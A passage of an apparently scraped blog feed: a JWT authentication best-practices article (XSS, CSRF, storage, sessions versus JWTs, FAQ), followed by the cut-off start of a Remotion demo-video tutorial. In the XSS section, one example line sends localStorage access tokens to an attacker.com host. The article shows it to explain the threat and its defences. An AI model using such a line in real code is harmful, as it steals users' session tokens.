&lt;h3 id=&quot;what-is-xss&quot;&gt;What is XSS (Cross-Site Scripting)?&lt;/h3&gt;
&lt;p&gt;XSS occurs when an attacker injects malicious JavaScript into a page that runs in another user’s browser. If your token is in &lt;code&gt;localStorage&lt;/code&gt; or &lt;code&gt;sessionStorage&lt;/code&gt;, that script can read it directly:&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;// What an attacker&#39;s injected script does
fetch(&#39;https://attacker.com/steal?t=&#39; + localStorage.getItem(&#39;access_token&#39;));&lt;/pre&gt;
&lt;p&gt;Mitigations for XSS:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use a strong Content Security Policy (CSP) to restrict script sources.&lt;/li&gt;
&lt;li&gt;Sanitize all user-generated content before rendering.&lt;/li&gt;
&lt;li&gt;Store tokens in memory or &lt;code&gt;HttpOnly&lt;/code&gt; cookies instead of &lt;code&gt;localStorage&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Keep third-party JavaScript dependencies minimal and audited.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;what-is-csrf&quot;&gt;What is CSRF (Cross-Site Request Forgery)?&lt;/h3&gt;
&lt;p&gt;CSRF occurs when an attacker tricks a logged-in user’s browser into making a request to your application without the user’s intent. Because cookies are sent automatically by the browser, a forged request from a malicious site to your API will include the victim’s cookies, including any JWT stored there.&lt;/p&gt;
&lt;p&gt;Mitigations for CSRF:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;SameSite=Strict&lt;/code&gt; or &lt;code&gt;SameSite=Lax&lt;/code&gt; on cookies (the most effective modern defense).&lt;/li&gt;
&lt;li&gt;Implement CSRF tokens (the double-submit cookie or synchronizer token patterns).&lt;/li&gt;
&lt;li&gt;Validate the &lt;code&gt;Origin&lt;/code&gt; and &lt;code&gt;Referer&lt;/code&gt; headers on state-changing requests.&lt;/li&gt;
&lt;li&gt;Avoid &lt;code&gt;SameSite=None&lt;/code&gt; unless you explicitly need cross-site cookie sending.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;what-issues-limitations&quot;&gt;What are the limitations of JWTs?&lt;/h2&gt;
&lt;p&gt;JWTs like many other tools in the world, aren’t perfect. They’re good for user authentication, but not without shortcomings. In this section, I’ll address some popular concerns.&lt;/p&gt;
&lt;p&gt;So let’s start with the first concern.&lt;/p&gt;
&lt;h3 id=&quot;”jwts-encrypted”&quot;&gt;Are JWTs encrypted?&lt;/h3&gt;
&lt;p&gt;Signed tokens provide the benefit of verifying the integrity of the claims in the tokens. This allows them to be useful for authentication purposes. This doesn’t mean that the claims stored in the tokens aren’t hidden.&lt;/p&gt;
&lt;p&gt;If your web application needs to store sensitive information in tokens, the website needs to handle them with caution. Generally, you should avoid storing sensitive information in tokens because it is very difficult to protect them against all possible cybersecurity attacks.&lt;/p&gt;
&lt;p&gt;In cases where a web application needs to store sensitive information in tokens, encrypted forms of JWTs exist for this reason.&lt;/p&gt;
&lt;h3 id=&quot;”jwts-need-javascript-work”&quot;&gt;Do JWTs require JavaScript?&lt;/h3&gt;
&lt;p&gt;Compared to the internet of the early 2000s modern-day internet is more secure. But, on its own, the modern-day internet still isn’t a hundred percent secure. Anything that JavaScript has access to can still potentially be exploited.&lt;/p&gt;
&lt;p&gt;Because of the structure of modern applications, it has become more important for JavaScript to have access to the tokens to, for example, send requests to APIs. However, web applications have reasons for their structure, and in some cases, JavaScript having access to the tokens is unavoidable. Fortunately, the internet has gotten secure enough for access to JavaScript to be less of a concern than it was in the earlier internet.&lt;/p&gt;
&lt;p&gt;There isn’t a good solution to this concern. Regardless of where you store tokens, you’re opening the tokens to at least one form of exploit. Storing in cookies or sessions is open to CSRF (Cross-Site Request Forgery) attacks, and storing anywhere JavaScript can access is open to XSS (Cross-Site Scripting) attacks.&lt;/p&gt;
&lt;h3 id=&quot;”jwts-subject-size-constraints”&quot;&gt;&lt;strong data-start=&quot;1317&quot; data-end=&quot;1353&quot;&gt;Are JWTs subject to size limits?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Depending on how you store and transmit JWTs, they’re subject to size constraints imposed by browsers. For example, all browsers impose a 4 KB and 5 MB limit on the total amount of data that a web application can store in cookies and JavaScript localStorage respectively.&lt;/p&gt;
&lt;p&gt;If your web application uses significant portions of these storage mechanisms (although unlikely), you can use session tokens instead. They’re smaller, but they can’t have payloads, with extra pieces of information, like with JWTs.&lt;/p&gt;
&lt;h2 id=&quot;when-should-you-not-use-jwts&quot;&gt;&lt;strong data-start=&quot;1396&quot; data-end=&quot;1429&quot;&gt;When should you not use JWTs?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;The short answer to this question is when you need immediate revocation, when your clients are only browsers talking to a single backend, or when the complexity does not pay off.&lt;/p&gt;
&lt;h3 id=&quot;jwts-vs-server-side-sessions&quot;&gt;&lt;strong data-start=&quot;1486&quot; data-end=&quot;1545&quot;&gt;JWTs vs. server-side sessions: Which should you choose?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;JWTs are not the default correct answer for every authentication problem. Here are cases where traditional server-side sessions are a better fit:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concern&lt;/th&gt;
&lt;th&gt;JWT&lt;/th&gt;
&lt;th&gt;Server-side session&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Scalability (stateless)&lt;/td&gt;
&lt;td&gt;Excellent (no DB lookup per request)&lt;/td&gt;
&lt;td&gt;Requires session store (Redis, DB)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Revocation&lt;/td&gt;
&lt;td&gt;Hard (requires a blocklist)&lt;/td&gt;
&lt;td&gt;Trivial (delete the session record)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Token size&lt;/td&gt;
&lt;td&gt;Can grow large with many claims&lt;/td&gt;
&lt;td&gt;Tiny (just a session ID)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cross-service auth&lt;/td&gt;
&lt;td&gt;Strong fit (verifiable without shared DB)&lt;/td&gt;
&lt;td&gt;Harder (requires shared session store or sticky sessions)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Implementation complexity&lt;/td&gt;
&lt;td&gt;Higher (needs refresh logic, rotation, storage strategy)&lt;/td&gt;
&lt;td&gt;Lower (most frameworks handle it out of the box)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Suitable for mobile/API clients&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Often awkward (cookie-based by default)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&quot;when-are-server-side-sessions-the-better-choice&quot;&gt;When are server-side sessions the better choice?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;You have a traditional server-rendered web app (Rails, Django, Laravel, Next.js with server actions). These frameworks have mature, battle-tested session handling built in. Adding JWT on top adds complexity without obvious benefit.&lt;/li&gt;
&lt;li&gt;You need to revoke sessions immediately. Logging a user out of all devices, responding to a compromised account, or enforcing role changes mid-session all require instant revocation. JWTs cannot do this without a blocklist.&lt;/li&gt;
&lt;li&gt;Your auth surface is a single backend. JWTs shine when multiple services need to verify the same token. If only one server ever reads the token, sessions are simpler.&lt;/li&gt;
&lt;li&gt;Your team is not familiar with JWT pitfalls. The &lt;code&gt;alg: none&lt;/code&gt; attack, weak secrets, missing expiration claims, and improper storage have all caused real breaches. If you are not going to implement JWTs carefully, sessions are safer by default.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;when-are-jwts-the-right-choice&quot;&gt;When are JWTs the right choice?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Microservices and distributed architectures where multiple APIs need to verify identity without a shared session store.&lt;/li&gt;
&lt;li&gt;Mobile applications and public APIs where stateless, bearer-token authentication is the standard expectation.&lt;/li&gt;
&lt;li&gt;Third-party integrations where you need to issue scoped, time-limited credentials to external services.&lt;/li&gt;
&lt;li&gt;OAuth 2.0 and OIDC flows where the token format is defined by the protocol.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;frequently-asked-questions&quot;&gt;Frequently Asked Questions&lt;/h2&gt;
&lt;h3 id=&quot;can-i-decode-a-jwt-without-the-secret-key&quot;&gt;Can I decode a JWT without the secret key?&lt;/h3&gt;
&lt;p&gt;Yes, the header and payload are only base64url encoded, not encrypted. Anyone can decode them. The signature requires the secret key to verify, but the payload is readable by anyone who has the token. This is why you should never store sensitive data in JWT payloads.&lt;/p&gt;
&lt;h3 id=&quot;what-happens-when-a-jwt-expires&quot;&gt;What happens when a JWT expires?&lt;/h3&gt;
&lt;p&gt;The server rejects it with a &lt;code&gt;401 Unauthorized&lt;/code&gt; response. The client should then attempt a silent refresh using its refresh token. If the refresh token is also expired or invalid, the user must re-authenticate.&lt;/p&gt;
&lt;h3 id=&quot;should-i-validate-jwts-on-every-request&quot;&gt;Should I validate JWTs on every request?&lt;/h3&gt;
&lt;p&gt;Yes, always. Signature validation is computationally cheap (especially with &lt;code&gt;RS256&lt;/code&gt; and cached public keys via &lt;code&gt;JWKS&lt;/code&gt;). Skipping verification because “we trust the client” defeats the purpose of signing entirely.&lt;/p&gt;
&lt;h3 id=&quot;can-i-use-the-same-jwt-for-authentication-and-authorization&quot;&gt;Can I use the same JWT for both authentication and authorization?&lt;/h3&gt;
&lt;p&gt;Yes, and most applications do. The JWT can carry both identity claims (&lt;code&gt;sub&lt;/code&gt;, &lt;code&gt;email&lt;/code&gt;) and authorization claims (&lt;code&gt;roles&lt;/code&gt;, &lt;code&gt;permissions&lt;/code&gt;). The key constraint is that embedded claims are static until a new token is issued. If a user’s role changes mid-session, the access token will not reflect that until it expires and is refreshed.&lt;/p&gt;
&lt;h2 id=&quot;Key-Takeaways&quot;&gt;Key Takeaways&lt;/h2&gt;
&lt;p&gt;JWTs are useful tools in user authorization and authentication, but they’re just standards. They’re not built directly into programming languages or many frameworks. Using them in many cases is based on how you (or the library you choose to generate and handle them) implement JWTs. If you want to learn how to implement them, you can check out &lt;a href=&quot;https://blog.logrocket.com/how-to-implement-jwt-authentication-vue-nodejs/&quot;&gt;our guide on implementing JWT authentication with Vue and Node.js&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;author-d-1gg9uz65z1iz85zgdz68zmqkz84zo2qoxwoz77zn2z80zat6z81zz122zz84znigz87zmz76zz78zz74zr7z78zz78zv6i5331&quot;&gt;For most production applications, the practical path is: short-lived JWTs with RS256 signing, refresh token rotation in &lt;/span&gt;&lt;span class=&quot;inline-code author-d-1gg9uz65z1iz85zgdz68zmqkz84zo2qoxwoz77zn2z80zat6z81zz122zz84znigz87zmz76zz78zz74zr7z78zz78zv6i5331&quot;&gt;HttpOnly&lt;/span&gt;&lt;span class=&quot;author-d-1gg9uz65z1iz85zgdz68zmqkz84zo2qoxwoz77zn2z80zat6z81zz122zz84znigz87zmz76zz78zz74zr7z78zz78zv6i5331&quot;&gt; cookies, and a clear revocation strategy that matches your risk tolerance.&lt;/span&gt;&lt;/p&gt;



&lt;/div&gt;
            &lt;style&gt;
    .share-icon.share-twitter span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-twitter.svg&quot;);
    }

    .share-icon.share-reddit span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-reddit.svg&quot;);
    }

    .share-icon.share-linkedin span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-linkedin.svg&quot;);
    }

    .share-icon.share-facebook span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-facebook.svg&quot;);
    }
&lt;/style&gt;

            &lt;ul id=&quot;post-tags&quot;&gt;
    &lt;/ul&gt;
            &lt;!-- This is where popips should go --&gt;
            &lt;div id=&quot;popups&quot;&gt;&lt;/div&gt;
        &lt;/div&gt;
    </description><link>https://blog.logrocket.com/jwt-authentication-best-practices/</link><guid isPermaLink="false">https://blog.logrocket.com/jwt-authentication-best-practices/</guid><pubDate>Invalid Date</pubDate><author>Flavio Copes</author></item><item><title>How to replace screen recordings with Remotion</title><description>&lt;aside&gt;
            &lt;div class=&quot;sticky&quot;&gt;
                                
&lt;div class=&quot;toc-container&quot; id=&quot;post-toc&quot;&gt;
            &lt;div class=&quot;toc-header&quot;&gt;
            &lt;span class=&quot;toc-title&quot;&gt;
                Table of contents            &lt;/span&gt;
            &lt;i class=&quot;fa fa-chevron-down toc-collapse&quot;&gt;&lt;/i&gt;
            &lt;i class=&quot;hide fa fa-chevron-up toc-expand&quot;&gt;&lt;/i&gt;
        &lt;/div&gt;
        
&lt;ul data-toc-name=&quot;root&quot; class=&quot;toc&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#what-remotion-actually-is&quot;&gt;What is Remotion?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-remotion-actually-is&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#the-setup-cost&quot;&gt;What does it take to set up Remotion?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;the-setup-cost&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#components-need-to-become-pure&quot;&gt;Why do Remotion components need to be pure?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;components-need-to-become-pure&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#you-need-mock-data&quot;&gt;Why does Remotion use mock data?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;you-need-mock-data&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#you-need-an-action-timeline&quot;&gt;What is an action timeline in Remotion?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;you-need-an-action-timeline&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#the-honest-cost-summary&quot;&gt;How much setup does Remotion require?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;the-honest-cost-summary&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#my-build-three-demo-videos-zero-screen-recordings&quot;&gt;How do you build product demo videos with Remotion?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;my-build-three-demo-videos-zero-screen-recordings&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#video-1-feature-walkthrough-30-seconds&quot;&gt;Video 1: Feature walkthrough (30 seconds)&lt;/a&gt;
        &lt;ul data-toc-name=&quot;video-1-feature-walkthrough-30-seconds&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#video-2-changelog-recap-45-seconds&quot;&gt;Video 2: Changelog recap (45 seconds)&lt;/a&gt;
        &lt;ul data-toc-name=&quot;video-2-changelog-recap-45-seconds&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#video-3-bug-fix-before-after-30-seconds&quot;&gt;Video 3: Bug fix before/after (30 seconds)&lt;/a&gt;
        &lt;ul data-toc-name=&quot;video-3-bug-fix-before-after-30-seconds&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#rendering-all-three&quot;&gt;&lt;strong&gt;How do you render videos in Remotion?&lt;/strong&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;rendering-all-three&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#the-ai-layer-remotion-skills&quot;&gt;How do AI coding agents work with Remotion?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;the-ai-layer-remotion-skills&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#the-economics-nobody-talks-about&quot;&gt;Is Remotion worth it for product demos?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;the-economics-nobody-talks-about&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#rendering-cost&quot;&gt;How long does Remotion take to render videos?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;rendering-cost&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#licensing&quot;&gt;How is Remotion licensed?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;licensing&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#time-comparison-remotion-vs-screen-recording&quot;&gt;Is Remotion faster than screen recording?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;time-comparison-remotion-vs-screen-recording&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#when-screen-recording-is-still-better&quot;&gt;When should you use screen recording instead of Remotion?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;when-screen-recording-is-still-better&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#the-five-gotchas-youll-hit&quot;&gt;What are the most common Remotion pitfalls?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;the-five-gotchas-youll-hit&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/remotion-screen-recordings/#conclusion&quot;&gt;Should you use Remotion for product demo videos?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;conclusion&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/div&gt;
                &lt;div class=&quot;plug-gutter&quot;&gt;
    &lt;div class=&quot;plug-gutter--image&quot;&gt;
        &lt;img src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/12/GalileoAIPreview.png&quot; alt=&quot;LogRocket Galileo logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-gutter--top&quot;&gt;Introducing Galileo AI&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--bottom&quot;&gt;LogRocket’s Galileo AI watches every session, surfacing impactful user struggle and key behavior patterns.&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--cta&quot;&gt;
        &lt;a href=&quot;https://logrocket.com/products/galileo-ai&quot; class=&quot;plug-gutter--button&quot;&gt;LEARN MORE&lt;/a&gt;
    &lt;/div&gt;
&lt;/div&gt;


            &lt;/div&gt;
        &lt;/aside&gt;
        &lt;div id=&quot;the-content-container&quot;&gt;&lt;style&gt;
.plug-dev-top--card {
    border: 2px solid rgba(118, 74, 188, 0.2);
    border-radius: 8px;
    background-color: #491d90;
    justify-content: space-between;
    align-items: center;
    padding: 16px;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    display:flex;
    gap: 1rem;
    cursor: pointer;
}

.plug-dev-top--logo {
    width: 48px;
    height: 48px;
    border-radius: 50%;
}

.plug-dev-top--blurb {
    h2 {
        font-weight: 800;
        font-size: 22px;
        line-height: 22px;
        color: #fff;
        width: 70%;
        margin: 0 0 5px 0;
    }

    h3 {
        font-weight: 900;
        font-size: 13px;
        line-height: 13px;
        letter-spacing: 0.1em;
        color: #fff;
        opacity: 0.5;
        white-space: nowrap;
        margin: 0;
    }
}

.plug-dev-top--cta {
    background-color: #fff;
    color: #764abc;
    border: none;
    border-radius: 4px;
    padding: 10px;
    font-size: 16px;
    font-weight: 800;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    text-decoration: none;
    width: 25%;
    text-align: center;

    &amp;:hover {
        text-decoration: none;
        color: #a58ec8;
    }
}

.plug-dev-top--asset {
    position: relative;
    height: 400px;
    overflow: hidden;
    transition: all 0.3s ease;
    margin-top: 30px;

    &amp;.lr-hidden {
        height: 0;
        margin: 0;
    }
}
&lt;/style&gt;
&lt;div class=&quot;plug-dev-top&quot;&gt;
    &lt;div class=&quot;plug-dev-top--card&quot;&gt;
        &lt;img class=&quot;plug-dev-top--logo&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/04/logrocket-logo-1.png&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;div class=&quot;plug-dev-top--blurb&quot;&gt;
            &lt;h2&gt;See how LogRocket&#39;s Galileo AI surfaces the most severe issues for you&lt;/h2&gt;
            &lt;h3&gt;No signup required&lt;/h3&gt;
        &lt;/div&gt;
        &lt;div class=&quot;plug-dev-top--cta&quot;&gt;Check it out&lt;/div&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-dev-top--asset lr-hidden&quot;&gt;
        &lt;div style=&quot;position: absolute; top: 0; left: 0; height: 100%; width: 100%&quot;&gt;
            &lt;iframe id=&quot;galileo-wistia-iframe&quot; src=&quot;https://fast.wistia.net/embed/iframe/x7kl3pp560?web_component=true&amp;amp;seo=true&quot; title=&quot;Galileo AI Overview - May 2025 Video&quot; allow=&quot;autoplay; fullscreen&quot; class=&quot;wistia_embed&quot; name=&quot;wistia_embed&quot; width=&quot;100%&quot; height=&quot;100%&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
            &lt;/iframe&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;



            
&lt;div class=&quot;lr-content&quot;&gt;
    &lt;!-- TEMP: .article-post is only used for adinserter to hook into --&gt;
    &lt;div class=&quot;article-post&quot;&gt;&lt;/div&gt;
    
&lt;p&gt;Last month I dived back into the foreign exchange market and noticed a little gap in how lot sizes are calculated and how slow that can be. To be sincere, as a developer, I didn’t even bother looking for an existing tool online, cause if it’s free, then there will be so many ads, and I’m not the biggest fan of ads. I spun up a position-size calculator in Next.js and shipped it.&lt;/p&gt;&lt;img fetchpriority=&quot;high&quot; decoding=&quot;async&quot; width=&quot;895&quot; height=&quot;597&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/How-to-replace-screen-recordings-with-Remotion.png&quot; class=&quot;attachment-full size-full wp-post-image&quot; alt=&quot;&quot; srcset=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/How-to-replace-screen-recordings-with-Remotion.png 895w, https://blog.logrocket.com/wp-content/uploads/2026/07/How-to-replace-screen-recordings-with-Remotion-300x200.png 300w, https://blog.logrocket.com/wp-content/uploads/2026/07/How-to-replace-screen-recordings-with-Remotion-768x512.png 768w&quot; sizes=&quot;(max-width: 895px) 100vw, 895px&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
&lt;p&gt;If I were to document how to use the app, Remotion would be the first that crossed my mind, cause with it I can write the videos in React, render them to MP4 from my terminal, and the whole thing will take less time than one screen recording session used to. When the design changes a week later, I will change two lines of mock data and re-render.&lt;/p&gt;
&lt;p&gt;In this article, I’ll walk through the actual build: how I adapted an existing Next.js app for Remotion, built three production demo videos, and used Remotion’s AI agent integration to generate a fourth composition from a natural-language prompt. I’ll also address the setup cost head-on, because it’s real and you should know about it before you commit.&lt;/p&gt;
&lt;h2 id=&quot;what-remotion-actually-is&quot;&gt;What is Remotion?&lt;/h2&gt;
&lt;p&gt;Remotion treats video as a &lt;a href=&quot;https://blog.logrocket.com/a-complete-guide-to-react-performance-optimization/&quot;&gt;React&lt;/a&gt; application. You write JSX, use &lt;code&gt;useCurrentFrame()&lt;/code&gt; to get the current frame number, animate values with &lt;code&gt;interpolate()&lt;/code&gt; and &lt;code&gt;spring()&lt;/code&gt;, and compose scenes with &lt;code&gt;&amp;lt;Sequence&amp;gt;&lt;/code&gt;. The output is a real PNG and MP4 rendered via headless Chrome and FFmpeg.&lt;/p&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://paper-attachments.dropboxusercontent.com/s_0D899E39E4E47E65986DC807F2C459592970EAD664A717B14E7867A3B47F80BD_1783016864389_Screenshot+2026-07-02+at+19.27.28.png&quot; alt=&quot;&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;If you’ve used React, you already know 80% of what you need. The remaining 20% is these three APIs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;useCurrentFrame()&lt;/code&gt;&lt;/strong&gt;: This returns the current frame number. This is your clock&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;interpolate(frame, inputRange, outputRange)&lt;/code&gt;&lt;/strong&gt;: This maps frame numbers to values. This is how you animate&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;strong&gt;&amp;lt;Sequence from={60} durationInFrames={150}&amp;gt;&lt;/strong&gt;&lt;/code&gt;: This wraps a section of your composition in a time window. This is how you choreograph&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Remotion Studio gives you a browser-based preview with timeline scrubbing and hot reload. You see your video update as you write code, the same way you see a React app update in dev mode.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.logrocket.com/remotion-a-framework-for-making-videos-in-react/&quot;&gt;Remotion is not new&lt;/a&gt;, but most React devs still don’t know it exists because every existing article is either a docs walkthrough or a showcase of fancy animations. Nobody has taken a real product demo workflow and documented how Remotion replaces the screen recorder with code.&lt;/p&gt;
&lt;p&gt;That’s what this piece does.&lt;/p&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://paper-attachments.dropboxusercontent.com/s_0D899E39E4E47E65986DC807F2C459592970EAD664A717B14E7867A3B47F80BD_1783017138146_Screenshot+2026-07-02+at+19.32.08.png&quot; alt=&quot;&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;the-setup-cost&quot;&gt;What does it take to set up Remotion?&lt;/h2&gt;
&lt;p&gt;One command to render a video sounds clean, but getting there requires adapting your app components for Remotion’s rendering environment. Here’s what that actually looks like.&lt;/p&gt;
&lt;h3 id=&quot;components-need-to-become-pure&quot;&gt;Why do Remotion components need to be pure?&lt;/h3&gt;
&lt;p&gt;Remotion renders each frame as a static React component. That means there are no &lt;code&gt;useState&lt;/code&gt;, &lt;code&gt;useEffect&lt;/code&gt;, event listeners, browser APIs like &lt;code&gt;localStorage&lt;/code&gt;, and Next. js-specific features like &lt;code&gt;useRouter&lt;/code&gt;. Your components need to read everything from props.&lt;/p&gt;
&lt;p&gt;For my calculator app, this meant creating adapted versions of four components. The original &lt;code&gt;Calculator&lt;/code&gt; component had reactive state management, keyboard listeners, and localStorage for history tracking. The Remotion version, &lt;code&gt;RemotionCalculator&lt;/code&gt;, strips all of that and reads input values directly from props:&lt;/p&gt;
&lt;pre class=&quot;language-typescript&quot;&gt;// Original: manages its own state
const Calculator = () =&amp;gt; {
  const [accountSize, setAccountSize] = useState(10000);
  const [riskPercent, setRiskPercent] = useState(2);
  // ... event handlers, localStorage, etc.
};

// Remotion version: pure component, reads from props
const RemotionCalculator = ({
  accountSize,
  riskPercent,
  stopLoss,
  pair,
}: CalculatorProps) =&amp;gt; {
  const result = calculate(accountSize, riskPercent, stopLoss, pair);
  // ... render with result, no state needed
};&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;ResultsCard&lt;/code&gt;, &lt;code&gt;PairSelector&lt;/code&gt;, and &lt;code&gt;RiskQuickSelect&lt;/code&gt; components needed similar treatment. Total adaptation time: about 15 minutes. The shared calculation logic in &lt;code&gt;lib/calculate.ts&lt;/code&gt; worked in both environments without changes, which is exactly why keeping business logic in pure functions pays off.&lt;/p&gt;
&lt;h3 id=&quot;you-need-mock-data&quot;&gt;Why does Remotion use mock data?&lt;/h3&gt;
&lt;p&gt;Screen recording uses your live app. Remotion uses mock data passed as props. For each demo video, I created a mock file with the exact values I wanted to show:&lt;/p&gt;
&lt;pre class=&quot;language-typescript&quot;&gt;// remotion/mocks/featureWalkthroughMocks.ts
export const calculatorStates = {
  initial: { accountSize: 0, riskPercent: 0, stopLoss: 0, pair: &#39;EUR/USD&#39; },
